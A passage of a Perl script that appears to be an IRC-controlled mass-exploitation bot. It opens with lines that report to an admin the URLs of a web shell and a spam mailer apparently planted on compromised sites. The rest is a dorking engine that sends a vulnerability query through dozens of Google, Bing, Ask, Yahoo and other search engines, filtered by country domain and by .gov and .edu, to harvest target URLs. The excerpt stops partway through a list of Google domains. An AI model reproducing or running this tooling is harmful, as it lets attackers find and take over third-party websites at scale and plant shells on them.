  1627.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1628.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9MaIler0,1,1)3,1 http://".$site."images/4asem.php");sleep(2);
  1629.         }
  1630. }
  1631.  
  1632. #########################################
  1633.  
  1634. sub search_engine() {
  1635.     my (@total,@clean);
  1636.     my $chan = $_[0];
  1637.     my $bug = $_[1];
  1638.     my $dork = $_[2];
  1639.     my $engine = $_[3];
  1640.     my $logo = $_[4];
  1641.     if ($gps == 1) {
  1642.     if ($engine eq "JacKAE") { my @jackae = jack1($dork."+site:ae"); push(@total,@jackae); }
  1643.     if ($engine eq "JacKAR") { my @jackar = jack2($dork."+site:ar"); push(@total,@jackar); }
  1644.     if ($engine eq "JacKAT") { my @jackat = jack3($dork."+site:at"); push(@total,@jackat); }
  1645.     if ($engine eq "JacKAU") { my @jackau = jack4($dork."+site:au"); push(@total,@jackau); }
  1646.     if ($engine eq "JacKBE") { my @jackbe = jack5($dork."+site:be"); push(@total,@jackbe); }
  1647.         if ($engine eq "JacKBG") { my @jackbg = jack6($dork."+site:bg"); push(@total,@jackbg); }
  1648.     if ($engine eq "JacKBR") { my @jackbr = jack7($dork."+site:br"); push(@total,@jackbr); }
  1649.         if ($engine eq "JacKBY") { my @jackby = jack8($dork."+site:by"); push(@total,@jackby); }
  1650.     if ($engine eq "JacKCA") { my @jackca = jack9($dork."+site:ca"); push(@total,@jackca); }
  1651.     if ($engine eq "JacKCL") { my @jackcl = jack10($dork."+site:cl"); push(@total,@jackcl); }
  1652.     if ($engine eq "JacKCK") { my @jackck = jack11($dork."+site:ck"); push(@total,@jackck); }
  1653.     if ($engine eq "JacKCN") { my @jackcn = jack($dork."+site:cn"); push(@total,@jackcn); }
  1654.     if ($engine eq "JacKCO") { my @jackco = jack1($dork."+site:co"); push(@total,@jackco); }
  1655.     if ($engine eq "JacKCoM") { my @jackcom = jack2($dork."+site:com"); push(@total,@jackcom); }
  1656.     if ($engine eq "JacKCZ") { my @jackcz = jack3($dork."+site:cz"); push(@total,@jackcz); }
  1657.     if ($engine eq "JacKDE") { my @jackde = jack4($dork."+site:de"); push(@total,@jackde); }
  1658.     if ($engine eq "JacKEC") { my @jackec = jack5($dork."+site:ec"); push(@total,@jackec); }
  1659.         if ($engine eq "JacKEDU") { my @jackedu = jack6($dork."+site:edu"); push(@total,@jackedu); }
  1660.         if ($engine eq "JacKEE") { my @jackee = jack7($dork."+site:ee"); push(@total,@jackee); }
  1661.     if ($engine eq "JacKES") { my @jackes = jack8($dork."+site:es"); push(@total,@jackes); }
  1662.     if ($engine eq "JacKEU") { my @jackeu = jack9($dork."+site:eu"); push(@total,@jackeu); }
  1663.         if ($engine eq "JacKFI") { my @jackfi = jack10($dork."+site:fi"); push(@total,@jackfi); }
  1664.     if ($engine eq "JacKGR") { my @jackgr = jack11($dork."+site:gr"); push(@total,@jackgr); }
  1665.         if ($engine eq "JacKGOV") { my @jackgov = jack($dork."+site:gov"); push(@total,@jackgov); }
  1666.         if ($engine eq "JacKFR") { my @jackfr = jack1($dork."+site:fr"); push(@total,@jackfr); }
  1667.     if ($engine eq "JacKHU") { my @jackhu = jack2($dork."+site:hu"); push(@total,@jackhu); }
  1668.         if ($engine eq "JacKHK") { my @jackhk = jack3($dork."+site:hk"); push(@total,@jackhk); }
  1669.         if ($engine eq "JacKHR") { my @jackhr = jack4($dork."+site:hr"); push(@total,@jackhr); }
  1670.     if ($engine eq "JacKID") { my @jackid = jack5($dork."+site:id"); push(@total,@jackid); }
  1671.     if ($engine eq "JacKIL") { my @jackil = jack6($dork."+site:il"); push(@total,@jackil); }
  1672.     if ($engine eq "JacKIN") { my @jackin = jack7($dork."+site:in"); push(@total,@jackin); }
  1673.     if ($engine eq "JacKInfO") { my @jackinfo = jack8($dork."+site:info"); push(@total,@jackinfo); }
  1674.     if ($engine eq "JacKIR") { my @jackir = jack9($dork."+site:ir"); push(@total,@jackir); }
  1675.     if ($engine eq "JacKIT") { my @jackit = jack10($dork."+site:it"); push(@total,@jackit); }
  1676.     if ($engine eq "JacKJP") { my @jackjp = jack11($dork."+site:jp"); push(@total,@jackjp); }
  1677.     if ($engine eq "JacKKR") { my @jackkr = jack($dork."+site:kr"); push(@total,@jackkr); }
  1678.     if ($engine eq "JacKLV") { my @jackmx = jack1($dork."+site:lv"); push(@total,@jacklv); }
  1679.         if ($engine eq "JacKMD") { my @jackmd = jack2($dork."+site:md"); push(@total,@jackmd); }
  1680.         if ($engine eq "JacKMX") { my @jackmx = jack3($dork."+site:mx"); push(@total,@jackmx); }
  1681.     if ($engine eq "JacKMY") { my @jackmy = jack4($dork."+site:my"); push(@total,@jackmy); }
  1682.     if ($engine eq "JacKNeT") { my @jacknet = jack5($dork."+site:net"); push(@total,@jacknet); }
  1683.         if ($engine eq "JacKNO") { my @jackno = jack6($dork."+site:no"); push(@total,@jackno); }
  1684.     if ($engine eq "JacKNL") { my @jacknl = jack7($dork."+site:nl"); push(@total,@jacknl); }
  1685.         if ($engine eq "JacKNZ") { my @jacknz = jack8($dork."+site:nz"); push(@total,@jacknz); }
  1686.     if ($engine eq "JacKOrG") { my @jackorg = jack9($dork."+site:org"); push(@total,@jackorg); }
  1687.     if ($engine eq "JacKPH") { my @jackph = jack10($dork."+site:ph"); push(@total,@jackph); }
  1688.         if ($engine eq "JacKPK") { my @jackpk = jack11($dork."+site:pk"); push(@total,@jackpk); }
  1689.     if ($engine eq "JacKPL") { my @jackpl = jack($dork."+site:pl"); push(@total,@jackpl); }
  1690.         if ($engine eq "JacKPT") { my @jackpt = jack1($dork."+site:pt"); push(@total,@jackpt); }
  1691.     if ($engine eq "JacKRO") { my @jackro = jack2($dork."+site:ro"); push(@total,@jackro); }
  1692.     if ($engine eq "JacKRU") { my @jackru = jack3($dork."+site:ru"); push(@total,@jackru); }
  1693.         if ($engine eq "JacKSE") { my @jackse = jack4($dork."+site:se"); push(@total,@jackse); }
  1694.         if ($engine eq "JacKSG") { my @jacksg = jack5($dork."+site:sg"); push(@total,@jacksg); }
  1695.     if ($engine eq "JacKTH") { my @jackth = jack6($dork."+site:th"); push(@total,@jackth); }
  1696.         if ($engine eq "JacKTK") { my @jacktk = jack7($dork."+site:tk"); push(@total,@jacktk); }
  1697.         if ($engine eq "JacKTR") { my @jacktr = jack8($dork."+site:tr"); push(@total,@jacktr); }
  1698.         if ($engine eq "JacKTV") { my @jacktv = jack9($dork."+site:tv"); push(@total,@jacktv); }
  1699.         if ($engine eq "JacKTW") { my @jacktw = jack10($dork."+site:tw"); push(@total,@jacktw); }
  1700.     if ($engine eq "JacKUK") { my @jackuk = jack11($dork."+site:uk"); push(@total,@jackuk); }
  1701.     if ($engine eq "JacKUS") { my @jackus = jack($dork."+site:us"); push(@total,@jackus); }
  1702.     if ($engine eq "JacKVN") { my @jackvn = jack1($dork."+site:vn"); push(@total,@jackvn); }
  1703.         if ($engine eq "JacKWS") { my @jackws = jack2($dork."+site:ws"); push(@total,@jackws); }
  1704.     if ($engine eq "JacKSI") { my @jacksi = jack3($dork."+site:si"); push(@total,@jacksi); }
  1705.     if ($engine eq "JacKZA") { my @jackza = jack4($dork."+site:za"); push(@total,@jackza); }
  1706.     if ($engine eq "JacKBIZ") { my @jackbiz = jack5($dork."+site:biz"); push(@total,@jackbiz); }
  1707.         }
  1708.     if ($engine eq "GooGLe") { my @google = google($dork); push(@total,@google); }
  1709.     if ($engine eq "GooGLeINT") { my @googleINT = googleINT($dork); push(@total,@googleINT); }
  1710.     if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  1711.     if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  1712.     if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  1713.     if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  1714.     if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  1715.     if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  1716.     if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  1717.     if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  1718.     if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  1719.     if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  1720.     if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  1721.     if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  1722.     if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  1723.     if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  1724.     if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  1725.     if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  1726.     if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  1727.     if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  1728.     if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  1729.     if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  1730.     if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  1731.     if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  1732.     if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  1733.     if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  1734.     if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  1735.     if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  1736.     if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  1737.     if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  1738.     if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  1739.     if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  1740.     if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  1741.     if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  1742.     if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  1743.     if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  1744.     if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  1745.     if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  1746.     if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  1747.     if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  1748.         if ($gps2 == 1) {
  1749.     if ($engine eq "Bing") { my @bing = bing($dork); push(@total,@bing); }
  1750.     if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  1751.     if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  1752.     if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  1753.     if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  1754.     if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  1755.     if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  1756.     if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  1757.     if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  1758.     if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  1759.     if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  1760.     if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  1761.     if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  1762.     if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  1763.     if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  1764.     if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  1765.     if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  1766.     if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  1767.     if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  1768.     if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  1769.     if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  1770.     if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  1771.     if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  1772.     if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  1773.     if ($engine eq "AsK") { my @ask = ask($dork); push(@total,@ask); }
  1774.     if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  1775.     if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  1776.     if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  1777.     if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  1778.     if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  1779.     if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  1780.     if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  1781.     if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  1782.     if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  1783.     if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  1784.     if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  1785.     if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  1786.     if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  1787.     if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  1788.     if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  1789.     if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  1790.     if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  1791.     if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  1792.     if ($engine eq "YahOo") { my @yahoo = yahoo($dork); push(@total,@yahoo); }
  1793.     if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
  1794.     if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
  1795.     if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
  1796.     if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
  1797.     if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
  1798.     if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
  1799.     if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
  1800.     if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
  1801.     if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
  1802.     if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
  1803.     if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
  1804.     if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
  1805.     if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
  1806.     if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
  1807.     if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
  1808.     if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
  1809.     if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
  1810.     if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
  1811.     if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
  1812.     if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
  1813.     if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
  1814.     if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
  1815.     if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
  1816.     if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
  1817.     if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
  1818.     if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
  1819.     if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
  1820.     if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
  1821.     if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
  1822.     if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
  1823.     if ($engine eq "ByPass") { my @bypass = bypass($dork); push(@total,@bypass); }
  1824.     if ($engine eq "WebDe") { my @webde = webde($dork); push(@total,@webde); }
  1825.     if ($engine eq "SaPo") { my @sapo = sapo($dork); push(@total,@sapo); }
  1826.     if ($engine eq "SeZnaM") { my @seznam = seznam($dork); push(@total,@seznam); }
  1827.     if ($engine eq "Onet") { my @onet = onet($dork); push(@total,@onet); }
  1828.     if ($engine eq "GiGaBLasT") { my @gigablast = gigablast($dork); push(@total,@gigablast); }
  1829.     if ($engine eq "BigLobe") { my @biglobe = biglobe($dork); push(@total,@biglobe); }
  1830.     if ($engine eq "AoL") { my @aol = aol($dork); push(@total,@aol); }
  1831.     if ($engine eq "Interia") { my @interia = interia($dork); push(@total,@interia); }
  1832.     if ($engine eq "RicerCa") { my @ricerca = ricerca($dork); push(@total,@ricerca); }
  1833.     if ($engine eq "PaGina") { my @pagina = pagina($dork); push(@total,@pagina); }
  1834.     if ($engine eq "ReDiff") { my @rediff = rediff($dork); push(@total,@rediff); }
  1835.     if ($engine eq "AllTheWeb") { my @alltheweb = alltheweb($dork); push(@total,@alltheweb); }
  1836.     if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  1837.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1838.     if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  1839.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1840.     if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  1841.     if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  1842.     if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
  1843.         if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
  1844.     if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
  1845.     if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
  1846.     if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
  1847.     if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
  1848.     if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
  1849.     if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
  1850.  
  1851.     @clean = &clean(@total);
  1852.  #   &msg("$chan","$logo(10@15$engine7)10 Total:0 (".scalar(@total).")2 Clean:0 (".scalar(@clean).")");
  1853.     return @clean;
  1854. }
  1855. }
  1856. #########################################
  1857.  
  1858. sub isFound() {
  1859.     my $status = 0;
  1860.     my $link = $_[0];
  1861.     my $reqexp = $_[1];
  1862.     my $res = &get_content($link);
  1863.     if ($res =~ /$reqexp/) { $status = 1 }
  1864.     return $status;
  1865. }
  1866.  
  1867. sub get_content() {
  1868.     my $url = $_[0];
  1869.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1870.     $ua->timeout(7);
  1871.     my $req = HTTP::Request->new(GET => $url);
  1872.     my $res = $ua->request($req);
  1873.     return $res->content;
  1874. }
  1875.  
  1876. ######################################### SEARCH ENGINE
  1877. sub jack() {
  1878.     my @list;
  1879.     my $key = $_[0];
  1880.     for (my $i=0; $i<=1000; $i+=100){
  1881.         my $search = ($jack.uri_escape($key)."&num=100&start=".$i);
  1882.         my $res = &search_engine_query($search);
  1883.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1884.             my $link = $1;
  1885.             if ($link !~ /google/){
  1886.                 my @grep = &links($link);
  1887.                 push(@list,@grep);
  1888.             }
  1889.         }
  1890.     }
  1891.     return @list;
  1892. }
  1893.  
  1894. sub jack1() {
  1895.     my @list;
  1896.     my $key = $_[0];
  1897.     for (my $i=0; $i<=1000; $i+=100){
  1898.         my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  1899.         my $res = &search_engine_query($search);
  1900.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1901.             my $link = $1;
  1902.             if ($link !~ /google/){
  1903.                 my @grep = &links($link);
  1904.                 push(@list,@grep);
  1905.             }
  1906.         }
  1907.     }
  1908.     return @list;
  1909. }
  1910.  
  1911. sub jack2() {
  1912.     my @list;
  1913.     my $key = $_[0];
  1914.     for (my $i=0; $i<=1000; $i+=100){
  1915.         my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  1916.         my $res = &search_engine_query($search);
  1917.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1918.             my $link = $1;
  1919.             if ($link !~ /google/){
  1920.                 my @grep = &links($link);
  1921.                 push(@list,@grep);
  1922.             }
  1923.         }
  1924.     }
  1925.     return @list;
  1926. }
  1927.  
  1928. sub jack3() {
  1929.     my @list;
  1930.     my $key = $_[0];
  1931.     for (my $i=0; $i<=1000; $i+=100){
  1932.         my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  1933.         my $res = &search_engine_query($search);
  1934.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1935.             my $link = $1;
  1936.             if ($link !~ /google/){
  1937.                 my @grep = &links($link);
  1938.                 push(@list,@grep);
  1939.             }
  1940.         }
  1941.     }
  1942.     return @list;
  1943. }
  1944.  
  1945. sub jack4() {
  1946.     my @list;
  1947.     my $key = $_[0];
  1948.     for (my $i=0; $i<=1000; $i+=100){
  1949.         my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  1950.         my $res = &search_engine_query($search);
  1951.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1952.             my $link = $1;
  1953.             if ($link !~ /google/){
  1954.                 my @grep = &links($link);
  1955.                 push(@list,@grep);
  1956.             }
  1957.         }
  1958.     }
  1959.     return @list;
  1960. }
  1961.  
  1962. sub jack5() {
  1963.     my @list;
  1964.     my $key = $_[0];
  1965.     for (my $i=0; $i<=1000; $i+=100){
  1966.         my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  1967.         my $res = &search_engine_query($search);
  1968.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1969.             my $link = $1;
  1970.             if ($link !~ /google/){
  1971.                 my @grep = &links($link);
  1972.                 push(@list,@grep);
  1973.             }
  1974.         }
  1975.     }
  1976.     return @list;
  1977. }
  1978.  
  1979. sub jack6() {
  1980.     my @list;
  1981.     my $key = $_[0];
  1982.     for (my $i=0; $i<=1000; $i+=100){
  1983.         my $search = ($jack6.uri_escape($key)."&num=100&start=".$i);
  1984.         my $res = &search_engine_query($search);
  1985.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1986.             my $link = $1;
  1987.             if ($link !~ /google/){
  1988.                 my @grep = &links($link);
  1989.                 push(@list,@grep);
  1990.             }
  1991.         }
  1992.     }
  1993.     return @list;
  1994. }
  1995. sub jack7() {
  1996.     my @list;
  1997.     my $key = $_[0];
  1998.     for (my $i=0; $i<=1000; $i+=100){
  1999.         my $search = ($jack7.uri_escape($key)."&num=100&start=".$i);
  2000.         my $res = &search_engine_query($search);
  2001.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2002.             my $link = $1;
  2003.             if ($link !~ /google/){
  2004.                 my @grep = &links($link);
  2005.                 push(@list,@grep);
  2006.             }
  2007.         }
  2008.     }
  2009.     return @list;
  2010. }
  2011. sub jack8() {
  2012.     my @list;
  2013.     my $key = $_[0];
  2014.     for (my $i=0; $i<=1000; $i+=100){
  2015.         my $search = ($jack8.uri_escape($key)."&num=100&start=".$i);
  2016.         my $res = &search_engine_query($search);
  2017.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2018.             my $link = $1;
  2019.             if ($link !~ /google/){
  2020.                 my @grep = &links($link);
  2021.                 push(@list,@grep);
  2022.             }
  2023.         }
  2024.     }
  2025.     return @list;
  2026. }
  2027. sub jack9() {
  2028.     my @list;
  2029.     my $key = $_[0];
  2030.     for (my $i=0; $i<=1000; $i+=100){
  2031.         my $search = ($jack9.uri_escape($key)."&num=100&start=".$i);
  2032.         my $res = &search_engine_query($search);
  2033.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2034.             my $link = $1;
  2035.             if ($link !~ /google/){
  2036.                 my @grep = &links($link);
  2037.                 push(@list,@grep);
  2038.             }
  2039.         }
  2040.     }
  2041.     return @list;
  2042. }
  2043. sub jack10() {
  2044.     my @list;
  2045.     my $key = $_[0];
  2046.     for (my $i=0; $i<=1000; $i+=100){
  2047.         my $search = ($jack10.uri_escape($key)."&num=100&start=".$i);
  2048.         my $res = &search_engine_query($search);
  2049.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2050.             my $link = $1;
  2051.             if ($link !~ /google/){
  2052.                 my @grep = &links($link);
  2053.                 push(@list,@grep);
  2054.             }
  2055.         }
  2056.     }
  2057.     return @list;
  2058. }
  2059. sub jack11() {
  2060.     my @list;
  2061.     my $key = $_[0];
  2062.     for (my $i=0; $i<=1000; $i+=100){
  2063.         my $search = ($jack11.uri_escape($key)."&num=100&start=".$i);
  2064.         my $res = &search_engine_query($search);
  2065.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2066.             my $link = $1;
  2067.             if ($link !~ /google/){
  2068.                 my @grep = &links($link);
  2069.                 push(@list,@grep);
  2070.             }
  2071.         }
  2072.     }
  2073.     return @list;
  2074. }
  2075. sub google() {
  2076.     my @list;
  2077.     my $key = $_[0];
  2078.     for (my $i=0; $i<=700; $i+=10){
  2079.         my $search = ("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2080.         my $res = &search_engine_query($search);
  2081.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2082.             my $link = $1;
  2083.             if ($link !~ /google/){
  2084.                 my @grep = links($link);
  2085.                 push(@list,@grep);
  2086.             }
  2087.         }
  2088.     }
  2089.     return @list;
  2090. }
  2091.  
  2092. sub googleINT(){
  2093. my @list;
  2094. my $key = $_[0];
  2095. my @dom = ("ad","ae","am","as","at","az","ba","be","bf","bg","bi","bj",
  2096. "bs","ca","cat","cd","cf","cg","ch","ci","cl","cm","cn","co.bw","co.ck",
  2097. "co.cr","co.id","co.il","co.in","co.jp","co.ke","co.kr","co.ls","com",
  2098. "co.ma","com.af","com.ag","com.ai","com.ar","com.au","com.bd","com.bh",
  2099. "com.bn","com.bo","com.br","com.by","com.bz","com.co","com.cu","com.do",
  2100. "com.ec","com.eg","com.et","com.fj","com.gh","com.gi","com.gt","com.hk",
  2101. "com.jm","com.kh","com.kw","com.lb","com.ly","com.mt","com.mx","com.my",
  2102. "com.na","com.nf","com.ng","com.ni","com.np","com.om","com.pa","com.pe",
  2103. "com.ph","com.pk","com.pr","com.py","com.qa","com.sa","com.sb","com.sg",
  2104. "com.sl","com.sv","com.tj","com.tr","com.tw","com.ua","com.uy","com.vc",
